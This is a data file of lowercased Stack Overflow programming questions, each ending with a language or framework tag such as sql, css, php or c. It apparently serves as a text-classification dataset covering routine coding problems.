jquery $(document).ready() not firing after window.location.href  i have two pages  on the first page after an event happens i change the location of the page by using:   <pre><code>window.location.href =  /pageb ; </code></pre>   on the second page  i have a document ready event that doesn t fire when coming from the page above.  the ready event works when the page is browsed to normally.   <pre><code>$(document).ready(function() {      alert( ready );       }); </code></pre>   i am using the google ajax cdn to include jquery on my pages.  i m stumped...,jquery
c++ -- vptr & vtbl associated with object or class   vptr -- virtual table pointer    vtbl -- virtual table    question 1> is it correct that vptr is associated with the object of a class     question 2> is it correct that vtbl is associated with the class     question 3> how do they really work together     thank you,c++
replace values in the result set using a select query  how to replace the values 1 and 2 by  male  and  female   respectively in a table while selecting using single select query     <pre><code>name     gender a         1 a         2 </code></pre>,sql
get latest data from sql for  i have a question <a href= https://stackoverflow.com/questions/2411559/how-do-i-query-sql-for-a-latest-record-date-for-each-user >simmilar to this one</a> except i have a table that looks like this:   <pre><code>temp_date             building_id          sector_id          temperature     [date/time]           [i32]                [i32]              [dbl] 1/9/2018 4:14:31 am    456                   0                20.23     1/9/2018 4:15:14 am    123                   1                35.23     1/9/2018 4:16:21 am    123                   0                15.23     1/9/2018 4:15:45 am    123                   2                25.23     1/9/2018 4:16:21 am    456                   0                25.23     1/9/2018 4:16:59 am    123                   1                35.23 </code></pre>   i would like to get a result data for the latest logged temperature for each unique building/sector combination.    for the example dataset  the table i m looking for would look like   <pre><code>building_id          sector_id          temperature 123                    0                15.23 123                    1                35.23 123                    2                25.23 456                    0                25.23 </code></pre>  <hr>   from what i understand  the code should look something like:   <pre><code>select t.building_id  t.sector_id  t.temperature  t.temp_date from mytable t inner join (     select building_id  sector_id  max(temp_date) as maxtemp_date     from mytable     group by building_id ) tm on t.building_id = tm.building_id and t.sector_id = tm.sector_id and t.temp_date = tm.temp_date </code></pre>  <hr>   <strong>edit</strong>    came back to it this morning and i believe the following code is getting me what i want   <pre><code>select t.building_id  t.sector_id  t.temperature  t.temp_date from mytable t inner join (     select building_id  sector_id  max(date_time) as maxmaxtemp_date     from mytable t     group by building_id  sector_id     ) tm on t.building_id = tm.building_id and t.sector_id = tm.sector_id and t.temp_date=tm.maxtemp_date order by t.building_id  t.sector_id  </code></pre>,sql
format phone number in php  i have a phone number that is stored in a database like:     5555555555    i want to format this like:     (555) 555-5555    using php i have the following code:    <pre><code>&lt; php   $data = $order[ contactphone ];    if(  preg_match(  /^\+\d(\d{3})(\d{3})(\d{4})$/   $data   $matches ) )       {         $result = $matches[1] .  -  .$matches[2] .  -  . $matches[3];         echo $result;       }  &gt; </code></pre>   this returns nothing at all once so ever. not even an error. how can i do this,php
css ( ) - row of images dynamically resized to fill container  i ve stumbled upon an interesting problem while playing with my website.    so i ve got a containing  column with a fixed width. in this i have a number (two for now  don t know whether it ll matter) of images in one row. the images  size and aspect ratio are undetermined and not equal to each other. now  i m looking to resize them  so that their height is equal  and their combined width is equal to that of the parent container  while keeping their aspect ratio. and also resize the container height accordingly  for that matter.    hope i made myself clear.    i m sure it s possible with javascript or similar  but i m mainly interested in if there s a solution using css.    thanks,css
serving static assets in production in aws ec2 instance  i have a rails app which depends on a mithril library that i have created. that mithril library is the heart of the app. from that library  vdom are rendered and models are rendered. the library is installed into my app via bower.     in my mithril lib  i have called images like this    <pre><code>m( img.u-marginbottom-10[alt=\ icon blog\ ][src=\ /assets/icon-blog.png\ ] ) </code></pre>   in the dev env  this is working fine however when i push it to prod env these links just break.    i know that it is happening because rails assets pipeline adds digest to those image files. is there any way i can reference it     in heroku  because of rails12_factor gem  the assets are delivered without a problem but i am migrating the app to aws server and i am getting this issue,ruby-on-rails
how to get the list of uncommon element from two list using java   i need to get the list of uncommon element while comparing two lists . ex:-   <pre><code>list&lt;string&gt; readallname = { aaa   bbb   ccc   ddd }; list&lt;string&gt; selectedname = { bbb   ccc }; </code></pre>   here i want uncommon elements from readallname list ( aaa   ccc   ddd ) in another list. without using remove()and removeall().,java
why  &  operator is not used in first code   i am very new at c programing language. now i am learning memory and pointer. i am reading and reading but i am not understanding when to use the pointer and when not to. just see the following to code. in my first code why we dont use  &amp;  operator on this line  scanf( %2s   card_name)    and on my second code why i had to use  &amp;  operator on my  scanf( %i   &amp;decks);   i have passed whole night to understand it. now i am here to get some good hints to understand the difference..    <strong>code 1</strong>   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main(){     char card_name[3];     int count=0;     while (card_name[0]!= x ) {         int val=0;         puts( enter the card name: );         scanf( %2s   card_name);         switch (card_name[0]) {             case  k :             case  q :             case  j :                 val=10;                 break;             case  a :                 val=11;                 break;             case  x :                 continue;             default:                 val= atoi(card_name);                 break;         }          if (val&lt;2||val&gt;11) {             puts( sorry this is not valid );                 break;             }             if (val&gt;=2&amp;&amp;val&lt;=10) {                 count++;                 printf( then value is %i and the count is %i\n   val  count);                 break;             }         }     } } </code></pre>   <strong>code 2</strong>   <pre><code>#include &lt;stdio.h&gt; int main() {     int decks;     puts( enter a number of decks );      scanf( %i   &amp;decks);     if (decks &lt; 1) {         puts( that is not a valid number of decks );         return 1; }     printf( there are %i cards\n   (decks * 52));     return 0;  } </code></pre>,c
convert decimals to integers before adding  subtracting  multiplying or dividing them  i put together a basic calculator where the user can type their equation into a text box and click solve. any equation that includes addition  subtraction  multiplication and/or division can be entered example: 1*2+18/2+(7+2)    the problem is when decimals are used. i ve found that there s no simple solution in javascript or jquery to handle them in the context of a calculator. every single javascript calculator tutorial doesn t work correctly with decimals.    i think the best way to handle them is to convert them to integers  i thought about multiplying the decimals by 100000  doing the math  then dividing by 100000 but this only works with addition and subtraction. what method would work to convert decimals to integers when the equation contains mixed operations such as 1*2+18/2+(1.2 + 0.64) then convert it back     fiddle: <a href= http://jsfiddle.net/4f27z/  rel= nofollow >http://jsfiddle.net/4f27z/</a>    html   <pre><code>&lt;input type= text  id= userproblem  size= 100 &gt; &lt;input type= submit  id= solvebutton  value= solve &gt; &lt;div id= answerdiv &gt;&lt;/div&gt; </code></pre>   javascript   <pre><code>solvebutton.onclick = function () {     var answer = eval(userproblem.value);      answerdiv.innerhtml = answer; }; </code></pre>,javascript
variable passed by reference to anonymous function not mutating  in a much simplified case i have this code below:   <pre><code>$ojson = [];  $finish = function() use ($ojson) {     print json_encode($ojson);     exit(); }  $adderror = function($msg) use (&amp;$ojson  $finish) {     $ojson[ error ] = $msg;     $finish(); }  $adderror( rawr ); </code></pre>   however it is printing an empty array (<code>[]</code>) instead of <code>{ error :  rawr }</code>. i did pass <code>$ojson</code> to <code>$adderror</code> by reference  which makes me baffled as to why it wont work.,php
constructor issue for descended class  i feel like an entire dork. i ve been a coder for a while  and i haven t run into this in a language before  i guess  i ve always been overriding the constructor with  additional  things.. so  i m truncating some classes for explanation:   <pre><code>public enum flags : ushort {    item = 1     player = 2 }  public class item {     private flags _flags;     private int _owner;     private string _pwd;      public item(flags flags  int owner  string pwd = null)     {         _owner = owner;         _flags = flags;         _pwd = pwd;     } }  public class connection {     ... stuff irrelevant to question } </code></pre>   so  when a player logs in  i want to be able to take a descendant of <code>item</code> which has type <code>player</code>  and has a connection - as realistically it is just an item.    so i did this as a starter:   <pre><code>public class player : item {     public connection conn; } </code></pre>   it said:   <blockquote>    item does not contain a constructor that takes 0 arguments  </blockquote>   well  in my eyes  i never said it did.. player will never be  created  only copied from item  an existing item  i m adding to it  one extra property (not that this is what will stay as my code  but it was a starting point) .. so  i don t want to have to manually copy the actual 20+ properties from one to the other. realistically i want to be able to use   <pre><code>player p = (player)item_wanted; </code></pre>   and then assign it a connection.. <code>p player</code> is never going to be created directly. i don t want to have connection assigned to item  as it s only active players  and technically a player could have more than one connection.    of course  the first stupid thought is a constructor of   <pre><code>public payer(item i) {     this = (player) i; } </code></pre>   yeah sadly can t do that  can we  :( but in effect  that s almost what i want!    before you ask  i did consider adding item to connection... but logically you wouldn t think of it that way round...    so  how do i get round it  i want to add one property and call it something else...    ok  i get why it said about the instructor  disappointed it didn t go with the available ones in the original class  but fine  i get that. however  as the originating item is already alive  i don t want copies. i wanted to add functionality... i give in. this question can be closed.**,c#
autolayout equal width constraints  i m working on implementing a custom graph view.  the design calls for the graph to have a margin of 11 pts on the left and the right  there are 25 blocks of equal width  and the spacing between the blocks is 2.  not surprisingly this lays out and looks pretty much perfect on iphone 5s and below. using autolayout the system correctly finds that each block should be 10x10.     <img src= https://i.stack.imgur.com/pr52y.png  alt= enter image description here >    things break down however when moving to the 6 and 6+.  for instance on the 5 some frames are calculated with a width 12 and 12.5.  this is what i get from the 6.    <img src= https://i.stack.imgur.com/qedtz.png  alt= enter image description here >    by manually doing the math and applying the ratio of the new screen sizes the widths don t come out to be integers but what autolayout comes up with is pretty far off.  i have some ideas on how to work around this but i m not quite sure how to do it.  here is the code that is laying out my 25 columns:    var columns = array()   <pre><code>    var lastaddedcolumn: uiview      for index in 0...numberofcolumns - 1 {         let column = graphcolumn(frame: cgrectzero)         column.numberofrectangles = 10         column.settranslatesautoresizingmaskintoconstraints(false)         self.addsubview(column)         columns.append(column)          if let lastcolumn = lastaddedcolumn {             self.addconstraints(nslayoutconstraint.constraintswithvisualformat( h:[v1]-2-[v2]   options: nslayoutformatoptions.allzeros  metrics: nil  views: dictionaryofnames(lastcolumn column)))             self.addconstraint(nslayoutconstraint(item: column  attribute: .width  relatedby: .equal  toitem: lastcolumn  attribute: .width  multiplier: 1  constant: 0))         }         self.addconstraints(nslayoutconstraint.constraintswithvisualformat( v:|[v1]|   options: nslayoutformatoptions.allzeros  metrics: nil  views: dictionaryofnames(column)))          lastaddedcolumn = column     }      let firstcolumn = columns.first!     let lastcolumn = columns.last!      self.addconstraint(nslayoutconstraint(item: firstcolumn  attribute: .left  relatedby: .equal  toitem: self  attribute: .left  multiplier: 1  constant: 1))     self.addconstraint(nslayoutconstraint(item: lastcolumn  attribute: .right  relatedby: .greaterthanorequal  toitem: self  attribute: .right  multiplier: 1  constant: -1)) </code></pre>   the approach i m using is to loop from 1-25 creating a column each time.  that column is pinned 2 pts to the right of the column before it and given a width equal to the one before as well.  finally i pin the first and last to the left and right of the superview.  the superview is added to the scene via the storyboard and is pinned 11 pts to the left and right of the superview.    what i think might work is to have the margins be flexible but i m unsure of how to accomplish this.  i tried lowering the 11 pt let and right priorities and using less than or equal but that didn t work. really what i m trying to get autolayout to do is do the equal width thing and if it s unable to find equal widths then it should push out the margins until can do so.  i think whats holding me up is that the system is reporting that it can satisfy the constraints when in reality it can t.,ios
transform text while the cursor is over an image  i would like to change list text while the mouse is over an image  my list contains items + icons both of them with an id :   <pre><code>s[i++] =  &lt;li id=\  +  vizlist[j].name + \ &gt; ; s[i++] =   &lt;a&gt; + vizlist[j].name +  &lt;/a&gt; ; s[i++] =   &lt;img id= img  src= ../renderer/bundles/  + vizlist[j].icon +    width= 268  height= 120  style= display:block /&gt; ; s[i++] =  &lt;/li&gt; ; </code></pre>   and my css is like:   <pre><code>#listlumira li a {   display: block ;   background: #4682b4 ;   color: #fff ;   font: 1em  trebuchet ms  arial sans-serif ;   line-height: 2em ;   text-align: center ;   text-decoration: none ;   padding: 3px 0 ;   margin-top:6px; } #listlumira li a:hover  #navigation li a:focus  #navigation li a:active {   background:   #483d8b ;    letter-spacing: 2px;    text-transform: uppercase;  }  #img  img:hover  #navigation li a:focus  #navigation li a:active {   background:   #483d8b ;    letter-spacing: 2px;    text-transform: uppercase;  } </code></pre>   my problem is in the third id call in my css... the point is to transform #navigation list while cursor is on the #img. sorry for bad english.,css
string is showing spaces where there are extra comma while splitting  i have a following string in text format.   <pre><code>xsp 6919 lonww38st  1 gbp 2055.94 382.94  ek bhx  0 hyd  0 c=in 061114 4 45 10 2014  251114 2 48 10 2014  19 dns     20131212112902     1345 ek 1  061114 1325 071114 0015 bhx  dxb 3 ek ek  40 77w m m  lca y 2  071114 0345 071114 0840 dxb 3 hyd  ek ek  526 345 m m  lca y                     3115 ba 3  251114 0655 251114 1215 hyd  lhr 5 ba ba  276 788 y m  lca y 4  251114 1825 251114 1935  r y 1 2     mlsowgb1 rp   adt 3 4     yow rp   adt 5      xow rp   adt                                  </code></pre>   i read the string using following code   <pre><code>    string filename = @ c:\test.txt ;      string str = string.empty;     string s;     if (file.exists(filename))     {         streamreader sr = new streamreader(filename);         string line;          while ((line = sr.readline()) != null)         {             if (line.trim() != string.empty)             {                 string[] text = line.split(   );                 response.write(text[0]);              }         }     }     else     {        s =  file does not exists ;     } </code></pre>   but the string is showing spaces where there are extra comma ( ) when i am splitting the string. i want to ignore that space ans show the string in grid view and also save in database.    please help!    thanks,asp.net
why using p:nth-child(3n+0) css pseudo class starts with the 2nd element   i m playing with new css3 selectors and pseudo class and i m trying to use the :nth-child pseudo class.    if i look the documentation here: <a href= http://www.w3schools.com/cssref/sel_nth-child.asp  rel= nofollow >http://www.w3schools.com/cssref/sel_nth-child.asp</a>    i see and example with :   <pre><code>p:nth-child(3n+0) {   background:#ff0000; } </code></pre>   but if i look the result ( <a href= http://www.w3schools.com/cssref/tryit.asp filename=trycss3_nth-child_formula  rel= nofollow >http://www.w3schools.com/cssref/tryit.asp filename=trycss3_nth-child_formula</a> )  i don t understand why the first red element is the second one and not the third or the first.    what is the logic behind this,css
mit open course code for finding 1000th prime number in python not working   i am just starting out on programming and my first personal assignment is to find the 1000th prime number. i think this code is correct  but it lists the first 1000 odd numbers instead. any insight    <pre><code>count = 1 num = 3 prime = [2]  while count &lt;= 1000:     for x in range(2  num + 1):         if num % x == 0 and num == x:             prime.append(num)             num += 2     count += 1  print(prime[1000]) </code></pre>,python
instantiate application object and initialize a list  i want to instantiate application object and initialize a list with it. i have this code in vb.net but i cant convert it to c#. this is vb code:   <pre><code>if not isnothing(application( messagelist )) then    messagelist = application( messagelist ) end if </code></pre>,c#
what is returned  (class method access on instantiation) <h2>edit: please note that i am appending my original question with my actual question due to realizing that i asked the wrong question (by forgetting what i actually meant to ask).</h2>   in php 5.4 (as of rc1)  it is possible to access class methods on class instantiation.    in other words  as i understand it  it is now possible to do: <code>$foo = new bar()-&gt;foobar();</code> which saves times and lines of code.    for my question  let s look at the following example:   <pre><code>class foo {     function __construct() {     }      function bar() {         return  world ;     } }  $foobar = (new foo())-&gt;bar(); echo $foobar; </code></pre>   my question is  in such a case  when both the constructor and the method that is called upon initialization return a value  what is output by the final line (i.e. <code>echo $foobar;</code>)      if i had to guess  since i haven t actually had a chance to play around with 5.4 yet  the return from foo::bar() would overwrite the return from foo::__construct() because it is returned last. but i just wanted to check.   <hr>   okay  so the above question is not even logical (since __construct() should not return). what i really meant to ask is this: does $foobar in the above example contain the class instance or the return from $bar  if the latter  what sense does it make to use this if the class will not be available after instantiated  wouldn t it be better to just use a static method or call the method on its own line,php
trouble with a loop condition - end of file  current code iteration:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;ctype.h&gt;  #define max_line_size 60 #define max_list_size 15 #define max_quiz_size 10  typedef struct question {     char *question;     char **choices;     int n_choices;     char *correct_answer; } question;  char *dupstring(const char *s) {     // copies a string     // check to see if dup works      char *dup = malloc(strlen(s) + 1);     if (strcpy(dup  s)) {         return dup;     } else {         printf( error duplicating string );         return 0;     } }  void free_question(question *q) {     // free memory     for(int i = 0; i &lt; q-&gt;n_choices; i++) {         free(q-&gt;choices[i]);     }     free(q-&gt;choices);     free(q-&gt;question);     free(q-&gt;correct_answer);      // set pointers to null     for(int i = 0; i &lt; q-&gt;n_choices; i++) {        q-&gt;choices[i] = null;     }     q-&gt;choices = null;     q-&gt;question = null;     q-&gt;correct_answer = null; }  static int read_info(file *pdata  char **ptr) {     char line[max_line_size];     if (fgets(line  sizeof(line)  pdata) == 0 ||         (*ptr = dupstring(line)) == 0)         return eof;     return 0; }  static int read_number(file *pdata  int *num  question *q) {     char line[max_line_size];     if (fgets(line  sizeof(line)  pdata) == 0 ||         (*num = atoi(line)) &lt; 2 || q-&gt;n_choices &gt; 9)         return eof;     return 0; }  static int read_choices(file *pdata  question *q) {     char line[max_line_size];     for (int i = 0; i &lt; q-&gt;n_choices; i++)     {         if (fgets(line  sizeof(line)  pdata) == 0 ||             (q-&gt;choices[i] = dupstring(line)) == 0)             return eof;     }     return 0; }  int parsequestion(file *pdata  int qnum  question *q) {     *q = (question){ null  null  0  null };      if (read_info(pdata  &amp;q-&gt;question) == eof ||         read_number(pdata  &amp;q-&gt;n_choices  q) == eof ||         (q-&gt;choices = calloc(q-&gt;n_choices  sizeof(char *))) == 0 ||         read_choices(pdata  q) == eof ||         read_info(pdata  &amp;q-&gt;correct_answer) == eof)     {          return eof;     }      return 0; }  struct question makequestion(file *pdata  question *q) {      int qindex  numchoices;      char question[max_line_size]  temp[max_line_size]  choices[max_line_size]  correctans[max_line_size];      // eat first line = question     fgets(question  max_line_size  pdata);     q-&gt;question = dupstring(question);       // eat second line = number of choices     fgets(temp  max_line_size  pdata);     numchoices = atoi(temp);     q-&gt;n_choices = numchoices;      // allocate memory     q-&gt;choices = calloc(q-&gt;n_choices  sizeof(char*));      // eat nth lines = choices     for (qindex=0; qindex&lt;=numchoices-1; qindex++) {         fgets(choices  max_line_size  pdata);         q-&gt;choices[qindex] = dupstring(choices);     }      // eat nth + 1 line = correct answer     fgets(correctans  max_line_size  pdata);     q-&gt;correct_answer = dupstring(correctans);      return *q;   }             int ask(question *q) {     // return 1 for correct guess  0 for incorrect guess.      int choice;      printf( \n%s\n   q-&gt;question);      for (int i = 0; i &lt;= q-&gt;n_choices-1; i++) {         printf( %d : %s   i+1  q-&gt;choices[i]);     }      do {         printf( select an answer [1-%d]:    q-&gt;n_choices);         scanf( %d   &amp;choice);          if (choice == 0) {             return 2;         }          /* check guess */         int ret;         size_t size = sizeof(q-&gt;correct_answer);         ret = memcmp(q-&gt;choices[choice-1]  q-&gt;correct_answer  size);          if (ret == 0) {             return 1;         }     } while (choice &lt; 1 || choice &gt; q-&gt;n_choices);      return 0; }   int main() {      int num = 0;        // question being asked     int score = 0;  // incorrect guesses     char temp[max_line_size]; // temp for loop condition      file* pdata;      char *filename =  tickle.txt ;     char c;      if ((pdata = fopen(filename   r ))) {          printf( welcome to the 2014 quiz-festival!\n\n );         printf( are you ready to begin  [y/y]:   );         c = getchar();          if (c ==  y  || c ==  y ) {              question q;             while (parsequestion(pdata  ++num  &amp;q) == 0) {                 makequestion(pdata  &amp;q);                  if (ask(&amp;q) == 1) {                     ++score;                     printf( correct!\n );                 } else {                     printf( oops  bad luck!\n );                 }                 free_choices(&amp;q);             }                 } else {             printf( come back again.\n );             return 0;         }      } else {         printf( file failed to open. );         return 0;     }      fclose(pdata);     return 0; } </code></pre>   it seems to be working  however  it starts at the second quiz. now i m just totally confused.     example data file:   <blockquote>    question 1        3 (number of answers)        answer 1a        answer 1b        answer 1c        answer 1a (this is the correct answer)        question 2        2        answer 2a        answer 2b        answer 2b (this is the correct answer)  </blockquote>   the program starts at question 2. is there something going on with the memory  i can t seem to wrap my head around it.,c
objective-c for loop to set variable text value  i have two things that seem should be easy and i am betting they are easy but this is my first objective-c program ever so its not coming to me easy like it would in my native perl. both examples are pretty much the same but i am thinking since one is using <code>@synthesize</code> it may be very different.    example 1   <pre><code>// what works @synthesize display0 = _display0; @synthesize display1 = _display1; @synthesize display2 = _display2; @synthesize display3 = _display3;  // what i would like to do: for (int i=0; i&lt;4; i++) {     @synthesize display$i = _display$i; } </code></pre>   example 2   <pre><code>// works - (ibaction)clearpressed {     self.display0.text = @ 0 ;     self.display1.text = @ 0 ;     self.display2.text = @ 0 ;     self.display3.text = @ 0 ; }  // what i would like to see - (ibaction)clearpressed {     for (int i=0; i&lt;4; i++) {         self.display$i.text = @ 0 ;     } } </code></pre>   any help getting me in the right direction would be great!,objective-c
c++ greatest common divisor loop  i tried to write a program which shows greatest common divisor and it doesn t work properly  could you help me figure where the problem is  i have to write it by while or do while.    thanks in advance!   <pre><code>#include&lt;iostream&gt; using namespace std; int main() {     int num1 num2 mod div;     cout&lt;&lt; enter 2 numbers: &lt;&lt;endl;     cin&gt;&gt;num1&gt;&gt;num2;     if (num1&gt;=num2)     {      do{         mod=0;         mod= num1%num2;         div= num1/num2;         num1=num2;         num2=mod;          }while(mod!=0);      cout&lt;&lt;div&lt;&lt;endl;     }     else if (num2&gt;=num1)     {         do{             mod=0;             mod= num2%num1;             div=num2/num1;             num2=num1;             num1=mod;           }while(mod!=0);         cout&lt;&lt;div&lt;&lt;endl;     }     return 0; } </code></pre>,c++
accessing android files and database directly on the device if rooted   when developing for android i prefer just working with a real device plugged in most of the time since the android emulators are such total garbage.  the one pain point is when i want to access files and sqlite databases though.  i believe with the adb shell it is possible to pull the database across  but this isn t a very convenient process.    i m wondering if there are any tools on the market that allow you to see the database in real time  even if it requires rooting a device i m open to it.,android
what is the use of dynamic_pointer_cast in c++  when is it used  what are alternatives for dynamic_pointer_cast   i was reading about dynamic_pointer_cast. i found that we can dynamically upcast or downcast the shared pointer of one type to another at run time but i did t understand the concept completely. shall both the classes must have same properties  if the properties must be same then what is need of dynamic casting,c++
how to add statically created library in my application..   i have created static library for testing. i have used: <a href= http://blog.boreal-kiss.net/2011/03/15/how-to-create-universal-static-libraries-on-xcode-4/#identifier_0_432  rel= nofollow >http://blog.boreal-kiss.net/2011/03/15/how-to-create-universal-static-libraries-on-xcode-4/#identifier_0_432</a>    its created sucessfully as test.a now i want to add this library in my application.    can anybody help me out for this,iphone
anyway to bring up suggestion box when typing python code  i m learning wxpython right now and one thing that helps me alot is when i m typing in the text editor i sometimes press the tab key to give me a hint on what i m looking for...this is great when it works but i notice sometimes it doesn t work and i get lost looking for a syntax i can t remember...    question is how can i get the suggestion box to pop back up again  or what am i doing that causes it to stop coming up...    if it matters i backtracked to 2.7 to learn wx  windows 7    edit: more specifically... when i type: wx.(here is normally when i would press tab),python
who should be responsible for performing file associations   i m currently performing file association when the program starts. this however requires elevated access and since i m associating scripting files i feel like i m doing something wrong that could compromise the security of the user. what is the correct way to do file association  through a setup  through the program  if the latter  how can i prevent malicious scripts to be executed through the program,.net
rails access attributes after a failed save  how do i access the attributes of a model after a failed save and before it is rendered to the view  i want to change them back since they were modified at the model,ruby-on-rails
how to emulate change last and change before in mysql  it seem in mysql only <code>first</code> and <code>after</code> options have for moving (rearrange) columns    how to emulate change last and change before in mysql     some like;   <pre><code>alter table `test` change `column_a` `column_a` int( 11 ) before column_b;  alter table `test` change `column_a` `column_a` int( 11 ) last; </code></pre>   of course the above code not work is only for example  ;),mysql
make link a different color when active  all  i ve currently got the following css for my navigation menu:   <pre><code>#primary-menu  .default-menu  #mobile-menu-dropdown li  .site-navigation a {   font-size: 32px; } </code></pre>   then i have the following html to display the menu:   <pre><code>&lt;nav id= primary-menu-container  role= navigation  class= site-navigation main-navigation clearfix &gt; &lt;div class= menu-main-menu-container &gt; &lt;ul id= primary-menu  class= menu &gt; &lt;li id= menu-item-79  class= menu-item menu-item-type-custom menu-item-object-custom menu-item-home menu-item-79 &gt;&lt;a href= http://website.com/new_site/ &gt;home&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-38  class= menu-item menu-item-type-custom menu-item-object-custom menu-item-38 &gt;&lt;a href= http://website.com/new_site/tagged tag=news &gt;news&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-69  class= menu-item menu-item-type-custom menu-item-object-custom menu-item-69 &gt;&lt;a href= http://website.com/new_site/tagged &gt;blog&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-71  class= menu-item menu-item-type-custom menu-item-object-custom menu-item-71 &gt;&lt;a href= http://website.com/new_site/music &gt;music&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-73  class= menu-item menu-item-type-custom menu-item-object-custom menu-item-73 &gt;&lt;a href= http://website.com/new_site/shows &gt;shows&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-75  class= menu-item menu-item-type-custom menu-item-object-custom menu-item-75 &gt;&lt;a href= http://website.com/new_site/photos &gt;photos&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-76  class= menu-item menu-item-type-custom menu-item-object-custom menu-item-76 &gt;&lt;a href= http://website.com/new_site/videos &gt;videos&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-113  class= menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-113 &gt;&lt;a href= http://website.com/new_site/faq &gt;faq&lt;/a&gt;&lt;/li&gt; &lt;li id= menu-item-21  class= menu-item menu-item-type-post_type menu-item-object-page menu-item-21 &gt;&lt;a href= http://website.com/new_site/contact &gt;contact&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;&lt;/div&gt;              &lt;/nav&gt; </code></pre>   when someone clicks on one of these links i d like to make the link active and color #ff0000 for example. i tried the following css but it doesn t keep the color when the new page loads:   <pre><code>#primary-menu  .default-menu  #mobile-menu-dropdown li  .site-navigation a:active {   color: #ff0000; } </code></pre>   anyone have any ideas on how to make this work     edit: i added some jquery as explosion pills recommended. this jquery looks like this:   <pre><code>jquery( .menu a ).each(function () {     if(jquery(this).attr( href ) === jquery(location).attr( href )){         if (jquery(this).attr( title ) === jquery(this).text()) {             alert( it is in here and the title is:   + jquery(this).attr( title ));             jquery(this).css( color    #ff0000 );         }     } }); </code></pre>   it is getting into my alert successfully but it isn t applying the color that i have specified to the link (it doesn t do it for any link)    link to the page: <a href= http://tinyurl.com/a7tpvwy  rel= nofollow >http://tinyurl.com/a7tpvwy</a>,css
how do i check if it returns a null   i should check whether there is some values based on this condition. if there is some  then i should do one action or else do a different action. i work on rails  mysql and xp<br> this is not working @test.nil  <br>suggest me a alternate way<br> @test=model.find(:all :conditions=> id=@someid )<br>thanks in advance,ruby-on-rails
structures array in c  i am still learning c  despite some working programs  but now i came to structures and the pains started. i have an already working program  in <code>xc8</code> under <code>mplabx</code> (target is a <code>pic18</code>)  composed by a <code>main.c</code>  an header and some additional .c files. in the header i already have an array of structures (font descriptors)  perfectly working.    now  i want to add a new piece of code (dynamic menus) so i made an additional header file (struct.h) with the structure and array definition  plus a new c file (menus.c) that will handle the menus; both files are included in the main.c    when i started to write the menu s rows assignements i got the following errors:   <blockquote>    invalid dimension  </blockquote>   and then    <blockquote>    missing basic type; int assumed  </blockquote>   these are the (very simplified) pieces of offending codes:    struct.h   <pre><code>#ifndef struct_h #define struct_h  typedef struct row {     char *label;     int posx;     int posy; };  struct row rows[20];  #endif  /* struct_h */ </code></pre>   menus.c   <pre><code>#ifndef struct_h #include   struct.h  #endif  rows[0].posx = 1; </code></pre>   the error rises at this last row. i m 100% sure this is a mine very stupid error  but where  thanks,c
learning more advanced javascript  for learning javascript  i am following the w3schools website.    can anybody provide me more effective learning site,javascript
using the system command  i am using the following system command to call ffmpeg im my c program:   <pre><code>system( ffmpeg -t 10 -f video4linux2 -s 640x480 -r 30 -i /dev/video0 -f mp4 /home/somepath/webcam.mp4 ); system( ffmpeg -i /home/somepath/webcam.mp4 -r 1 -s 640x480 -f image2 foo-%03d.jpeg ); </code></pre>   the problem is i need to call the second system only after the first one is completed after 10 seconds. the only way i can think of doing this is using a thread.sleep() and then call it. is there any other more elegant method of achieving the same,c
autotest failed with wrong title  i am following the ruby on rails tutorial. i am running autotest and have a error that i cannot fix. i have recheck my work perhaps 15 times and still everything is the same as the video word for word.    here s the error.   <pre><code>4 examples  1 failure  failed examples:  rspec ./spec/controllers/pages_controller_spec.rb:12 # pagescontroller get  home  should have the right title </code></pre>   here s the pages_controller_spec file <a href= https://gist.github.com/4565204  rel= nofollow >https://gist.github.com/4565204</a> and home_html file <a href= https://gist.github.com/4565209  rel= nofollow >https://gist.github.com/4565209</a>    anyone know how i can fix this error  as  home  has the right title in these files.,ruby-on-rails
angularjs $rootscope.$broadcast  how to know <code>$broadcast</code> in angularjs  have success response or unsuccess response   <pre><code>$rootscope.$broadcast($scope.abc +  :  + type +  question   {     abcslug: $scope.abcslug      questionslug: questionslug      abcobj: $scope.abcobj }) </code></pre>,angularjs
how to embed the whole <body> to a created new div with jquery   i want to perform the sticky footer to a stand-for-a-long web project. i m required to create two top-level div and wrap up all the content inside of <code>&lt;body&gt;</code> into   div-container   then to add  div-footer  to the end of <code>&lt;body&gt;</code> or <code>&lt;html&gt;</code> like   <pre><code>&lt;body&gt; &lt;div id= container &gt; //all body  &lt;/div&gt; &lt;div id= footer &gt; &lt;/div&gt; &lt;/body&gt; </code></pre>   how can i do it with jquery  i tried but failed with the code below (coz  container  don t know where to append)    <pre><code>$(document).ready(function() {     addstikyfooter(); });  function addstikyfooter() {     $( &lt;div id= container &gt;&lt;/div&gt; ).append($( body ));     var footerhtml =  &lt;div id= footer &gt;i m testing!/footer&gt; ;     alert($( body ).html()); } </code></pre>,jquery
javascript contains statement  i m trying check a field in a database to see if it does not contain either  uk_contacts or a blank. if it is either of these conditions i want to copy the that field to another field. i am very very new at this and have come up with the following and have written in text  does not contain  as i don t know the correct syntax for javascript.   <pre><code>function getdbasename(){ var dbasedata = document.forms[0]._dbase_name.value; }  if (dbasedata does not contain  uk_contacts  || dbasedata does not contain    ) {     _area.value = _dbase_name.value; } </code></pre>   probably miles out but it s my best shot.,javascript
